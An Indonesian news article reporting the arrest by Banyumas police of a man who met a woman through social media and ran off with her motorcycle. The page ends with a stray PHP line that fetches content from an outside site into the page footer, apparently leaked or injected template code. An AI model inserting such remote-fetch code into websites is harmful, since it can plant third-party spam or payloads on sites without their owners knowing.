Baru Kenal Dan Bawa Kabur Sepeda Motor, EG Ditangkap Resmob Polresta Banyumas

Selasa, 30 Maret 2021

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Jejakkasus.info|JATENG

BANYUMAS- Senin (29/3), Unit Resmob Satuan Reskrim Polresta Banyumas Polda Jawa Tengah berhasil mengamankan EG (27). Diduga, EG telah melakukan tindak pidana penipuan dan atau penggelapan sepeda motor.

EG warga kota Padang Sumatera Barat ini berhasil diamankan Unit Resmob Polresta Banyumas saat berada di rumah kosnya yang terletak di Klampok Kabupaten Banjarnegara beserta barang bukti berupa satu unit sepeda motor Yamaha R15 warna putih merah, satu lembar STNK sepeda motor, serta satu buah hand phone Vivo warna biru yang digunakan EG untuk berkomunikasi dengan korban dan melakukan bujuk rayu kepada korban.

Baca Juga:  Kantor Media Harian Jejak Kasus Bangka Belitung 2021

Kapolresta Banyumas Kombes Pol M. Firman L. Hakim, S.H., S.I.K., M.Si., melalui Kasat Reskrim Kompol Berry, S.T., S.I.K., mengatakan bahwa awalnya korban PR (31) warga Pasir Kidul Purwokerto Barat ini berkenalan dengan EG melalui sebuah aplikasi sosmed. Selanjutnya, pada hari Sabtu (27/3), korban dan EG janjian untuk bertemu dilanjutkan pergi jalan jalan. Setelah itu, pelaku datang ke rumah korban untuk mengajak jalan jalan, kemudian korban dan EG berangkat dari rumah korban dengan  menggunakan sepeda motor milik korban menuju arah Baturraden. Sesampainya di Baturraden, korban dan EG masuk ke salah satu hotel.

Baca Juga:  Berantas Narkoba, Polda Kalteng Berhasil Ungkap 3 Kasus Dalam Sepekan

“Beberapa saat kemudian, EG meminta ijin untuk pergi membeli makanan dengan menggunakan sepeda motor milik korban. Dan kesempatan inilah yang digunakan oleh EG untuk membawa kabur sepeda motor milik korban. Atas kejadian tersebut, korban mengalami kerugian berupa satu unit sepeda motor Yamaha R15 warna putih merah seharga Rp. 33.000.000,- (tiga puluh tiga juta rupiah)”, terangnya.

Dari hasil pengembangan yang dilakukan Unit Resmob Polresta Banyumas, didapati bahwa EG juga melakukan penipuan dan atau penggelapan barang berupa satu buah HP merk VIVO seri Y 30 di daerah Banyumas pada awal bulan Maret 2021.

Baca Juga:  Tasyakuran Dimulainya Pekerjaan Oleh PT. MULTI RANCABANGUN PRIMA Pada 14 Provinsi Di Wilayah Indonesia

“Saat ini EG dan juga barang bukti kami amankan di Mapolresta Banyumas guna penyidikan lebih lanjut. Untuk mempertanggung jawabkan perbuatannya, EG dijerat dengan Pasal 378 KUHP dan atau Pasal 372 KUHP dengan ancaman hukuman pidana penjara paling lama empat tahun”, imbuhnya.

Kompol Berry mengimbau kepada masyarakat Banyumas khususnya untuk lebih bijak dalam menggunakan sosmed. “Jangan mudah percaya kepada orang yang baru kita kenal, terlebih lagi kenal melalui aplikasi sosmed. Hal tersebut untuk mencegah agar tidak menjadi korban tindak pidana”, tutupnya.

(ADI-JK)

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Pj.Bupati Pringsewu Terima Pengurus Forum Komunikasi Honorer Nakes dan Non Nakes
Terendus Dugaan Menipulasi Pajak Karoke De’Amore Minta Solusi Petugas Untuk Berdamai
Polres Lampung Selatan Gelar Operasi Zebra Krakatau 2024 Dukung Kelancaran Pelantikan Presiden dan Wakil Presiden
Kades Sukaraja Diduga Terlibat Politik, PIN RI Kritik Bawaslu Pesawaran
Gubernur Lampung Didesak Jaga Netralitas, Mutasi Jabatan Selama Masa Politik Tuai Kecurigaan
Mau Tawuran di Ketapang Lamsel, 13 Pelajar Kocar-kacir Didatangi Polisi
Soal Minyak Goreng Kemasan Ilegal, Paslon Egi-Saiful Terancam Pasal Berlapis Hingga Pidana 5 Tahun Penjara
Banjir Dukungan, Umat Hindu Minta Nanang Ermanto Pimpin Kembali Lampung Selatan

Berita Terkait

Rabu, 16 Oktober 2024 - 08:46 WIB

Pj.Bupati Pringsewu Terima Pengurus Forum Komunikasi Honorer Nakes dan Non Nakes

Selasa, 15 Oktober 2024 - 07:41 WIB

Terendus Dugaan Menipulasi Pajak Karoke De’Amore Minta Solusi Petugas Untuk Berdamai

Senin, 14 Oktober 2024 - 14:28 WIB

Polres Lampung Selatan Gelar Operasi Zebra Krakatau 2024 Dukung Kelancaran Pelantikan Presiden dan Wakil Presiden

Senin, 14 Oktober 2024 - 14:19 WIB

Kades Sukaraja Diduga Terlibat Politik, PIN RI Kritik Bawaslu Pesawaran

Minggu, 13 Oktober 2024 - 19:18 WIB

Gubernur Lampung Didesak Jaga Netralitas, Mutasi Jabatan Selama Masa Politik Tuai Kecurigaan

Berita Terbaru

Peristiwa

Kecelakaan Tunggal di Kota Depok, Mobil tabrak Minimarket

Rabu, 16 Okt 2024 - 14:09 WIB

Peristiwa

Dianggap Tebar Fitnah, Akun @syahwalali Resmi Dilaporkan

Rabu, 16 Okt 2024 - 13:37 WIB

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>